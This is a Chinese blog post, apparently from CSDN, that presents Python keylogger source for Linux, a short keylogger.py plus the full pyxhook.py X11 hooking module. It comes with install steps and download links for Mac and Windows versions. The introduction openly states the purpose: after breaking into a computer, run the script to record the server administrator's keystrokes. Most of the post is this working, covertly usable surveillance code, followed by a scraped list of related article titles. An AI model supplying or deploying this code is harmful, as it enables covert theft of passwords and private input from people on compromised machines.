用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没有成功,后直接下载python-xlib-0.15rc1源码才安装成功.

python-xlib-0.15rc1下载地址:http://download.csdn.net/detail/qq_21792169/9708593

sudo python setup.py install进行安装

代码中分别写了三个平台的,有linux,Mac,windos.下面文章将描述linux平台的代码.

其他代码下载地址:http://download.csdn.net/detail/qq_21792169/9708606

我们进入linux目录,运行python keylogger.py  就可以记录按键值,修改keylogger.py中的log_file路径制定我们要保存的按键值的文件路径.按grave键来退出程序,也就是ESC下面的那个键.

keylogger.py

import pyxhook#This tells the keylogger where the log will go. Change it to direct to where you want it.log_file='/home/linux/file.log'#The file will automatically appear on the desktop. You may want to edit the location!def OnKeyPress(event):fob=open(log_file,'a')fob.write(event.Key)fob.write('\n')if event.Ascii==96: fob.close()new_hook.cancel()new_hook=pyxhook.HookManager()new_hook.KeyDown=OnKeyPressnew_hook.HookKeyboard()new_hook.start()

pyxhook.py

#!/usr/bin/pythonimport sysimport osimport reimport timeimport threadingfrom Xlib import X, XK, display, errorfrom Xlib.ext import recordfrom Xlib.protocol import rqclass HookManager(threading.Thread):"""This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned.This simply takes these two values for now:KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class."""def __init__(self):threading.Thread.__init__(self)self.finished = threading.Event()# Give these some initial valuesself.mouse_position_x = 0self.mouse_position_y = 0self.ison = {"shift":False, "caps":False}# Compile our regex statements.self.isshift = re.compile('^Shift')self.iscaps = re.compile('^Caps_Lock')self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$')self.logrelease = re.compile('.*')self.isspace = re.compile('^space$')# Assign default function actions (do nothing).self.KeyDown = lambda x: Trueself.KeyUp = lambda x: Trueself.MouseAllButtonsDown = lambda x: Trueself.MouseAllButtonsUp = lambda x: Trueself.contextEventMask = [X.KeyPress,X.MotionNotify]# Hook to our display.self.local_dpy = display.Display()self.record_dpy = display.Display()def run(self):# Check if the extension is presentif not self.record_dpy.has_extension("RECORD"):print "RECORD extension not found"sys.exit(1)r = self.record_dpy.record_get_version(0, 0)print "RECORD extension version %d.%d" % (r.major_version, r.minor_version)# Create a recording context; we only want key and mouse eventsself.ctx = self.record_dpy.record_create_context(0,[record.AllClients],[{'core_requests': (0, 0),'core_replies': (0, 0),'ext_requests': (0, 0, 0, 0),'ext_replies': (0, 0, 0, 0),'delivered_events': (0, 0),'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress),'errors': (0, 0),'client_started': False,'client_died': False,}])# Enable the context; this only returns after a call to record_disable_context,# while calling the callback function in the meantimeself.record_dpy.record_enable_context(self.ctx, self.processevents)# Finally free the contextself.record_dpy.record_free_context(self.ctx)def cancel(self):self.finished.set()self.local_dpy.record_disable_context(self.ctx)self.local_dpy.flush()def printevent(self, event):print eventdef HookKeyboard(self):pass# We don't need to do anything here anymore, since the default mask # is now set to contain X.KeyPress#self.contextEventMask[0] = X.KeyPressdef HookMouse(self):pass# We don't need to do anything here anymore, since the default mask # is now set to contain X.MotionNotify# need mouse motion to track pointer position, since ButtonPress events# don't carry that info.#self.contextEventMask[1] = X.MotionNotifydef processevents(self, reply):if reply.category != record.FromServer:returnif reply.client_swapped:print "* received swapped protocol data, cowardly ignored"returnif not len(reply.data) or ord(reply.data[0]) < 2:# not an eventreturndata = reply.datawhile len(data):event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None)if event.type == X.KeyPress:hookevent = self.keypressevent(event)self.KeyDown(hookevent)elif event.type == X.KeyRelease:hookevent = self.keyreleaseevent(event)self.KeyUp(hookevent)elif event.type == X.ButtonPress:hookevent = self.buttonpressevent(event)self.MouseAllButtonsDown(hookevent)elif event.type == X.ButtonRelease:hookevent = self.buttonreleaseevent(event)self.MouseAllButtonsUp(hookevent)elif event.type == X.MotionNotify:# use mouse moves to record mouse position, since press and release events# do not give mouse position info (event.root_x and event.root_y have # bogus info).self.mousemoveevent(event)#print "processing events...", event.typedef keypressevent(self, event):matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed.if self.ison["shift"] == False:keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)return self.makekeyhookevent(keysym, event)else:keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)return self.makekeyhookevent(keysym, event)else: ## Not a typable character.keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)if self.isshift.match(matchto):self.ison["shift"] = self.ison["shift"] + 1elif self.iscaps.match(matchto):if self.ison["caps"] == False:self.ison["shift"] = self.ison["shift"] + 1self.ison["caps"] = Trueif self.ison["caps"] == True:self.ison["shift"] = self.ison["shift"] - 1self.ison["caps"] = Falsereturn self.makekeyhookevent(keysym, event)def keyreleaseevent(self, event):if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))):if self.ison["shift"] == False:keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)else:keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)else:keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)matchto = self.lookup_keysym(keysym)if self.isshift.match(matchto):self.ison["shift"] = self.ison["shift"] - 1return self.makekeyhookevent(keysym, event)def buttonpressevent(self, event):#self.clickx = self.rootx#self.clicky = self.rootyreturn self.makemousehookevent(event)def buttonreleaseevent(self, event):#if (self.clickx == self.rootx) and (self.clicky == self.rooty):##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty)#if (event.detail == 1) or (event.detail == 2) or (event.detail == 3):#self.captureclick()#else:#passreturn self.makemousehookevent(event)#    sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n")#    sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n")#sys.stdout.flush()def mousemoveevent(self, event):self.mouse_position_x = event.root_xself.mouse_position_y = event.root_y# need the following because XK.keysym_to_string() only does printable chars# rather than being the correct inverse of XK.string_to_keysym()def lookup_keysym(self, keysym):for name in dir(XK):if name.startswith("XK_") and getattr(XK, name) == keysym:return name.lstrip("XK_")return "[%d]" % keysymdef asciivalue(self, keysym):asciinum = XK.string_to_keysym(self.lookup_keysym(keysym))if asciinum < 256:return asciinumelse:return 0def makekeyhookevent(self, keysym, event):storewm = self.xwindowinfo()if event.type == X.KeyPress:MessageName = "key down"elif event.type == X.KeyRelease:MessageName = "key up"return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName)def makemousehookevent(self, event):storewm = self.xwindowinfo()if event.detail == 1:MessageName = "mouse left "elif event.detail == 3:MessageName = "mouse right "elif event.detail == 2:MessageName = "mouse middle "elif event.detail == 5:MessageName = "mouse wheel down "elif event.detail == 4:MessageName = "mouse wheel up "else:MessageName = "mouse " + str(event.detail) + " "if event.type == X.ButtonPress:MessageName = MessageName + "down"elif event.type == X.ButtonRelease:MessageName = MessageName + "up"return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName)def xwindowinfo(self):try:windowvar = self.local_dpy.get_input_focus().focuswmname = windowvar.get_wm_name()wmclass = windowvar.get_wm_class()wmhandle = str(windowvar)[20:30]except:## This is to keep things running smoothly. It almost never happens, but still...return {"name":None, "class":None, "handle":None}if (wmname == None) and (wmclass == None):try:windowvar = windowvar.query_tree().parentwmname = windowvar.get_wm_name()wmclass = windowvar.get_wm_class()wmhandle = str(windowvar)[20:30]except:## This is to keep things running smoothly. It almost never happens, but still...return {"name":None, "class":None, "handle":None}if wmclass == None:return {"name":wmname, "class":wmclass, "handle":wmhandle}else:return {"name":wmname, "class":wmclass[0], "handle":wmhandle}class pyxhookkeyevent:"""This is the class that is returned with each key event.fIt simply creates the variables below in the class.Window = The handle of the window.WindowName = The name of the window.WindowProcName = The backend process for the window.Key = The key pressed, shifted to the correct caps value.Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256.KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing.ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway.MessageName = "key down", "key up"."""def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName):self.Window = Windowself.WindowName = WindowNameself.WindowProcName = WindowProcNameself.Key = Keyself.Ascii = Asciiself.KeyID = KeyIDself.ScanCode = ScanCodeself.MessageName = MessageNamedef __str__(self):return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n"class pyxhookmouseevent:"""This is the class that is returned with each key event.fIt simply creates the variables below in the class.Window = The handle of the window.WindowName = The name of the window.WindowProcName = The backend process for the window.Position = 2-tuple (x,y) coordinates of the mouse clickMessageName = "mouse left|right|middle down", "mouse left|right|middle up"."""def __init__(self, Window, WindowName, WindowProcName, Position, MessageName):self.Window = Windowself.WindowName = WindowNameself.WindowProcName = WindowProcNameself.Position = Positionself.MessageName = MessageNamedef __str__(self):return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n"################################################################################################END CLASS DEF########################################################################################################if __name__ == '__main__':hm = HookManager()hm.HookKeyboard()hm.HookMouse()hm.KeyDown = hm.printeventhm.KeyUp = hm.printeventhm.MouseAllButtonsDown = hm.printeventhm.MouseAllButtonsUp = hm.printeventhm.start()time.sleep(10)hm.cancel()

Python编写键盘记录器相关推荐

  1. python键盘记录器_使用Python设计键盘记录器

    在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...

  2. 使用Python实现键盘记录器和邮箱自动通知

    文章目录 键盘记录器 参考 (1)键盘记录器-模块实现 (2)发送邮箱-模块实现 (3)模块合并 键盘记录器 参考   <python:搞事情!键盘记录并截屏>, 地址https://ba ...

  3. python实现键盘记录器

    请先下载相应的Python库,这里有教程:http://blog.sina.com.cn/s/blog_65b9816e0101pzh3.html __author__ = 'lxw'import p ...

  4. python-实现键盘记录器

    我们今天的目标是python实现键盘记录器.这归属于信息安全领域,黑客入门木马的一个实现,各位不要拿来干坏事哦.我们务必要遵守法律. 它的实现我是在csdn上看到的 代码链接:http://m.blo ...

  5. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器 文章目录 黑帽python第二版(Bla ...

  6. KEY键盘映射_手焊键盘,使用Python编写,一键放连招,还有什么你不会

    本文转自公众号机器之心 这是一个内部运行 Python 的开源键盘,可根据个人需求定制键盘映射.从此以后,「穷苦玩家」也能在 MOBA 游戏里一键放连招了,不知这样算不算硬件外挂?「氪金玩家」请绕道. ...

  7. 自己动手「焊」键盘,使用Python编写,一键放连招不在话下

    这是一个内部运行 Python 的开源键盘,可根据个人需求定制键盘映射.从此以后,「穷苦玩家」也能在 MOBA 游戏里一键放连招了,不知这样算不算硬件外挂?「氪金玩家」请出门右转购买宏编程键盘. 很多 ...

  8. 自己动手「焊」键盘,使用Python编写,一键放连招不在话下!

    这是一个内部运行 Python 的开源键盘,可根据个人需求定制键盘映射.从此以后,「穷苦玩家」也能在 MOBA 游戏里一键放连招了,不知这样算不算硬件外挂?「氪金玩家」请出门右转购买宏编程键盘. 近日 ...

  9. Python实现一个键盘记录器功能

    关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...

最新文章

  1. g-git 相关命令 及其 基本原理探索(二):git 在工作中的常用命令操作 ,超级实用!!!
  2. 某程序员吐槽:31岁小姐姐拒绝条件优越的大厂程序员,只因身高不足163cm,难道矮是原罪?...
  3. 面向全场景的鸿蒙操作系统能有多安全?
  4. Go-Mega Tutorial 01 - Hello World
  5. Linux命令(持续更新)
  6. C++编程思想重点笔记(下)
  7. keras冻结_【连载】深度学习第22讲:搭建一个基于keras的迁移学习花朵识别系统(附数据)...
  8. Imageloader1-总体简介
  9. python可抓取数据包括什么_Python对JS型数据抓取有什么特别好的方法吗,pythonjs型抓取,想写一个爬虫,但是需要抓...
  10. window.btoa
  11. 【Python】关于jupyter几个不得不知道的tips
  12. linux virt java_Linux下Java环境安装
  13. mysql的脚本默认存_MySQL修改默认存储引擎的实现方法
  14. 用php实现下载生成某链接的快捷方式
  15. RHEL5 Linux下Oracle 10 Client的安装明细
  16. JS getElementsByClassName
  17. Python3.7 Jpype安装
  18. 云计算机技术与应用学什么的,云计算技术与应用专业学什么 主要课程
  19. web项目上云_披荆斩棘向云端 — 职能业务上云踩坑实战
  20. 5.接口参数过滤(phalapi框架总结)

热门文章

  1. 掌阅标签功能能否自定义名字?
  2. Kafka之Controller(Broker的领导者)
  3. BIM模型文件下载——8层综合办公楼BIM项目Revit模型(建筑、结构、暖通、电气、给排水、MEP)
  4. 记一次服务器被挖矿程序占用的解决过程
  5. 74、单元测试-前置条件
  6. 用手写板向计算机输入汉字是什么技术,使用手写板输入文字的简单介绍
  7. 200页!这可能是最牛逼的Python自学手册啦!
  8. 网上赚钱风口,捡芝麻丢西瓜
  9. dalle2:hierarchical text-conditional image generation with clip
  10. Weex在千牛开放中的应用实践